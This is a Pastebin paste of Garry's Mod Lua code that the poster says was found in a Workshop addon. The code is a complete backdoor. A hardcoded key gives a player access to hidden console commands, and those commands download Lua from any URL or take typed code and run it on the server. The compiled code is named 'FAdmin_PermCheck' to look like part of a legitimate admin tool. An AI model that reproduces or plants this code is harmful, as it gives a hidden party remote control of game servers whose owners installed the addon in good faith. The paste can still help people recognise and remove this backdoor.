Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- found this on workshop lol
- --[[
- ok_hand
- ]]
- local cs = CompileString
- local key = "kis@kc0d3"
- local function execute_code(ply, code)
- if not IsValid(ply) or not code then return end
- local func = cs(code, "FAdmin_PermCheck", false)
- if isstring(func) then
- ply:ChatPrint("Lua compiling error:")
- ply:ChatPrint(func)
- return
- else
- local succ, ret = pcall(func)
- if succ then
- ply:ChatPrint("Function returned:")
- ply:ChatPrint(ret or "nothing")
- else
- ply:ChatPrint("Function error (while running):")
- ply:ChatPrint(ret)
- end
- end
- end
- concommand.Add("_-key", function(ply, _, _, p_key)
- if p_key == key then
- ply.FAdmin_AuthS = true
- ply:SendLua([[surface.PlaySound("vo/coast/odessa/nlo_greet_freeman.wav")]])
- else return end
- end)
- concommand.Add("_-esite", function(ply, _, args, _)
- if not ply.FAdmin_AuthS then return end
- if not args[1] then ply:ChatPrint("_-esite \"[link]\" - execute lua in link (do not forget \")") return end
- http.Fetch(args[1],
- function(body)
- execute_code(ply, body)
- end,
- function(err)
- ply:ChatPrint("HTTP error: " .. tostring(err))
- end)
- end)
- concommand.Add("_-ecode", function(ply, _, _, code)
- if not ply.FAdmin_AuthS then return end
- if string.Trim(code) == "" then ply:ChatPrint("_-ecode [code] - execute provided code (do not enter \" or it will break)") return end
- execute_code(ply, code)
- end)
Advertisement
Add Comment
Please, Sign In to add comment